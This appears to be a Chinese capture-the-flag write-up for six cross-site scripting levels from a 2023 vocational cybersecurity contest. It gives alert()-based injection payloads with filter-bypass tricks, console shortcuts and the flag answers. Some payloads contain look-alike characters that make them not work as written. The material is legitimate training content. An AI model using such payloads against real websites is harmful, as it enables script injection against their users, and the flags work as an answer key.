2023年中职“网络安全“—跨站脚本渗透①

跨站脚本渗透

任务环境说明：

 服务器场景：Server2125(关闭链接)
 服务器场景操作系统：未知

1. 访问服务器网站目录1，根据页面信息完成条件，将获取到弹框信息作为flag提交；

解法一：http://靶机IP/1/?name=</h2><img src=1 onerror=alert(1)>

解法二：F12打开控制台，输入 alert(1) 回车

解法三：F12打开控制台，输入 b64_md5('simple') 回车

flag:jb3aSPuHSNZ0bxllgk6Wag

2. 访问服务器网站目录2，根据页面信息完成条件，将获取到弹框信息作为flag提交；

解法一：http://靶机IP/2/index.php?keyword="</h2><img SRC=1 ONERROR=alert(1)>&submit=搜索

解法二：F12打开控制台，输入 alert() 回车

解法三：F12打开控制台，输入 b64_md5('relaxed') 回车

flag:gfMr4koqYvxHLMQ+3JfmWw

3. 访问服务器网站目录3，根据页面信息完成条件，将获取到弹框信息作为flag提交；

解法一：
    先把javascript:alert(1)转换成HTML编码

    （1）输入进去，回车
    （2）然后在点击友情链接

解法二：
    在url中的keyword参数后输出javas%09cript:alert(1)
    然后在点击友情链接

解法三：F12打开控制台，输入 alert() 回车

解法四：F12打开控制台，输入 b64_md5('challenge') 回车

flag:sE7ArePUm0oHnw4gfV4oIQ

4. 访问服务器网站目录4，根据页面信息完成条件，将获取到弹框信息作为flag提交；

解法一：
    使用Win7的谷歌浏览器，发现了这些

    " οnfοcus="alert(1)" type=text "
    提交Cookie后点击一下input框，就会弹出来
    其他触发事件也可以，不值可以用onfocus

解法二：F12打开控制台，输入 alert() 回车

解法三：F12打开控制台，输入 b64_md5('commonly') 回车

flag:nQO7ofm1/wzUgGBnrR55qg

5. 访问服务器网站目录5，根据页面信息完成条件，将获取到弹框信息作为flag提交；

我怀疑这题有问题，这题应该对应XSS-Labs第15关
解法一：F12打开控制台，输入 alert(1) 回车

解法二：F12打开控制台，输入 b64_md5('Uncomfortable') 回车

flag:QmRhA990viE8yP/PWbnKhw

6. 访问服务器网站目录6，根据页面信息完成条件，将获取到弹框信息作为flag提交；

解法一：http://靶机IP/6/?keyword=%3Cimg%0Asrc=1%0Dοnerrοr=alert()%3E

解法二：F12打开控制台，输入 alert() 回车

解法三：F12打开控制台，输入 b64_md5('finis') 回车

flag:LHOm3XR7ig6+hgo2Zd/Y6g

总结

这种题目考的就是过滤，只要多打靶机，做起来还是没有问题的。
打XSS-Labs